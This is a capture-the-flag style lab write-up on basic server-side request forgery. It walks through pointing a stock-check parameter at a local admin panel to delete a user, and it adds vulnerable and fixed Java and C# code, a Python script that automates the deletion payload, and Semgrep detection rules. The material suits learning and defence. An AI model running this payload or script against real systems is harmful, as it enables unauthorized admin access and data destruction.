Post

Lab 01: Basic SSRF against the local server

Lab 01: Basic SSRF against the local server

1. Executive Summary

Vulnerability: Server-Side Request Forgery (SSRF).

Description: The application features a “stock check” function that fetches data from an internal system. The endpoint receives the target URL via an HTTP parameter (stockApi). The backend server takes this user-supplied URL and makes an HTTP request to it without any validation. Because the request originates from the backend server itself, it can bypass external firewalls and access internal network resources, including administrative interfaces bound to the loopback address (localhost).

Impact: Privilege Escalation / Unauthorized Access. An attacker can pivot through the vulnerable web server to access internal administrative panels, extract sensitive data, or perform destructive actions (like deleting users) that are normally protected from the public internet.

2. The Attack

Objective: Exploit the stock check feature to access the local admin interface and delete the user carlos.

  1. Reconnaissance (Mapping Access Controls):
    • I attempted to browse directly to /admin using the web browser. The server rejected the request (likely 401 Unauthorized or 403 Forbidden), indicating that external IP addresses are not permitted to view the admin panel.
  2. Intercept & Inspect:
    • I navigated to a product page and clicked the “Check stock” button.
    • I intercepted the resulting POST /product/stock request in Burp Suite and sent it to Repeater.
    • The request contained a parameter: stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1.
  3. Probing for SSRF:
    • I modified the stockApi parameter to point to the local administrative interface: stockApi=http://localhost/admin.
    • I sent the request. The application returned the raw HTML of the admin panel. The backend server successfully fetched the restricted page on my behalf, bypassing the external firewall.
  4. Exploitation:
    • I reviewed the returned HTML to find the administrative action endpoints. I located the hyperlink designed to delete my target: http://localhost/admin/delete?username=carlos.
    • I updated the stockApi parameter one final time: stockApi=http://localhost/admin/delete?username=carlos.
    • I sent the request. The backend server executed the GET request against the local admin endpoint, effectively deleting the user carlos from the system.

3. Code Review

Java (Spring Boot)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@PostMapping("/product/stock")
public ResponseEntity<String> checkStock(@RequestParam("stockApi") String stockApi) {
    try {
        // VULNERABLE: The server takes the raw string from the user and turns it into a URL
        URL url = new URL(stockApi);
        
        // The server opens a connection to wherever the user specified
        HttpURLConnection connection = (HttpURLConnection) url.openConnection();
        connection.setRequestMethod("GET");
        
        // Reads the response from the target and returns it to the user
        InputStream inputStream = connection.getInputStream();
        String response = new String(inputStream.readAllBytes(), StandardCharsets.UTF_8);
        
        return ResponseEntity.ok(response);
    } catch (Exception e) {
        return ResponseEntity.status(500).body("Error checking stock");
    }
}

Technical Flow & Syntax Explanation:

  • @RequestParam("stockApi"): Spring extracts the unvalidated URL string provided by the client.
  • new URL(stockApi): The string is parsed into a URI object. There are no checks to ensure the host is permitted (e.g., preventing localhost, 127.0.0.1, or internal subnets).
  • url.openConnection(): This is the critical sink. The server actively initiates a network connection to the attacker-controlled destination. If the attacker specifies an internal administrative endpoint, the server executes the request using its own elevated network privileges.

C# (ASP.NET Core)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[HttpPost("product/stock")]
public async Task<IActionResult> CheckStock([FromForm] string stockApi)
{
    // VULNERABLE: Creating an HTTP client to fetch a user-controlled URL
    using (var client = new HttpClient())
    {
        try
        {
            // The server makes a GET request to the specified address
            var response = await client.GetStringAsync(stockApi);
            return Content(response, "text/html");
        }
        catch (HttpRequestException)
        {
            return StatusCode(500, "Error fetching stock information");
        }
    }
}

Technical Flow & Syntax Explanation:

  • [FromForm] string stockApi: Binds the URL from the POST body directly to the local variable.
  • client.GetStringAsync(stockApi): The HttpClient blindly executes a GET request against the provided string. Because HttpClient executes within the context of the hosting server, it automatically bypasses edge firewalls and can access endpoints mapped strictly to the loopback interface (localhost).

Mock PR Comment

The CheckStock endpoint accepts a raw URL from the client and fetches it directly from the backend. This introduces a Server-Side Request Forgery (SSRF) vulnerability. Attackers can use this to scan our internal network, read internal metadata services, or interact with restricted administrative endpoints bound to localhost.

Recommendation: Do not accept full URLs from the client. Instead, pass a simple identifier (e.g., productId and storeId) and construct the internal API URL entirely on the server side.

4. The Fix

Explanation of the Fix:

The most robust defense against SSRF is eliminating the need to accept URLs from the client altogether. By implementing an Indirect Object Reference, the client only sends safe, typed data (like integers), and the server constructs the internal request using a hardcoded, trusted base URL.

Secure Java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@PostMapping("/product/stock")
// SECURE: Accept discrete IDs instead of full URLs
public ResponseEntity<String> checkStock(@RequestParam("productId") int productId, 
                                         @RequestParam("storeId") int storeId) {
    try {
        // Construct the URL safely on the server
        String internalApiBase = "http://internal-stock.api:8080/check";
        String targetUrl = String.format("%s?productId=%d&storeId=%d", internalApiBase, productId, storeId);
        
        URL url = new URL(targetUrl);
        HttpURLConnection connection = (HttpURLConnection) url.openConnection();
        
        InputStream inputStream = connection.getInputStream();
        String response = new String(inputStream.readAllBytes(), StandardCharsets.UTF_8);
        
        return ResponseEntity.ok(response);
    } catch (Exception e) {
        return ResponseEntity.status(500).body("Error checking stock");
    }
}

Technical Flow & Syntax Explanation:

  • @RequestParam int productId: Enforces strict typing. The attacker can only supply integers, not protocol schemes or hostnames.
  • internalApiBase: The root of the internal API is hardcoded on the server. The attacker has zero influence over the scheme (http://), host (internal-stock.api), or port (8080).

Secure C#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[HttpPost("product/stock")]
// SECURE: Accept only integers, preventing URL manipulation
public async Task<IActionResult> CheckStock([FromForm] int productId, [FromForm] int storeId)
{
    using (var client = new HttpClient())
    {
        try
        {
            // Server dictates the destination
            var internalUrl = $"http://internal-stock.api:8080/check?productId={productId}&storeId={storeId}";
            var response = await client.GetStringAsync(internalUrl);
            
            return Content(response, "text/html");
        }
        catch (HttpRequestException)
        {
            return StatusCode(500, "Error fetching stock information");
        }
    }
}

Technical Flow & Syntax Explanation:

  • String Interpolation ($"{...}"): The user’s input (productId and storeId) is safely appended as query parameters to a trusted base URL. It is mathematically impossible for the attacker to force HttpClient to navigate to http://localhost/admin using integer inputs.

5. Automation

A Python script utilizing argparse and requests to deliver the SSRF payload from the command line.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3
import argparse
import requests
import sys

def exploit_ssrf_delete_user(url, target_user):
    # Construct the URL for the stock check endpoint
    stock_endpoint = f"{url.rstrip('/')}/product/stock"
    
    # Construct the SSRF payload targeting the local admin interface
    ssrf_payload = f"http://localhost/admin/delete?username={target_user}"
    
    data = {
        "stockApi": ssrf_payload
    }
    
    print(f"[*] Targeting endpoint: {stock_endpoint}")
    print(f"[*] Delivering SSRF payload: {ssrf_payload}")
    
    try:
        # Send the POST request to the vulnerable endpoint
        resp = requests.post(stock_endpoint, data=data)
        
        # Check if the server responded successfully
        if resp.status_code == 200:
            print(f"[!!!] SUCCESS: SSRF payload sent. User '{target_user}' should be deleted.")
        else:
            print(f"[-] Request failed with status code: {resp.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[-] A network error occurred: {e}")
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(description="Exploit Basic SSRF to delete a user via localhost admin panel.")
    parser.add_argument("url", help="The base URL of the vulnerable lab.")
    parser.add_argument("--user", default="carlos", help="The username to delete (default: carlos).")
    
    args = parser.parse_args()
    
    exploit_ssrf_delete_user(args.url, args.user)

if __name__ == "__main__":
    main()

6. Static Analysis (Semgrep)

Java Rule

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
rules:
  - id: java-ssrf-url-openconnection
    languages: [java]
    message: |
      Potential Server-Side Request Forgery (SSRF). 
      An external URL is constructed from user input and fetched by the server. 
      Use an allowlist or indirect object references to prevent accessing arbitrary internal hosts.
    severity: ERROR
    patterns:
      - pattern-inside: |
          public $RET $METHOD(..., String $URL, ...) { ... }
      - pattern-either:
          - pattern: |
              URL $U = new URL($URL);
              ...
              $U.openConnection();
          - pattern: |
              URL $U = new URL($URL);
              ...
              $U.openStream();

Technical Flow & Syntax Explanation:

  • pattern-inside: Narrows the scope to methods that accept a String as an argument, mimicking a parameter supplied by a user.
  • new URL($URL): Captures the instantiation of the Java URL object using that specific string variable.
  • openConnection() / openStream(): Flags the exact sink where the application initiates the network call to the potentially untrusted destination.

C# Rule

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rules:
  - id: csharp-ssrf-httpclient
    languages: [csharp]
    message: |
      Potential SSRF detected. 'HttpClient' is making a request using a URL derived from method parameters. 
      Ensure the URL is validated against a strict allowlist or constructed entirely server-side.
    severity: ERROR
    patterns:
      - pattern-inside: |
          public $RET $METHOD(..., string $URL, ...) { ... }
      - pattern-either:
          - pattern: $CLIENT.GetStringAsync($URL)
          - pattern: $CLIENT.GetAsync($URL)
          - pattern: $CLIENT.PostAsync($URL, ...)

Technical Flow & Syntax Explanation:

  • public $RET $METHOD(..., string $URL, ...): Identifies ASP.NET controller methods that accept a string parameter.
  • $CLIENT.GetAsync($URL): Detects when that specific string parameter is passed directly into an HttpClient execution method. This pinpoints the critical data flow from the untrusted source to the network sink.
This post is licensed under CC BY 4.0 by the author.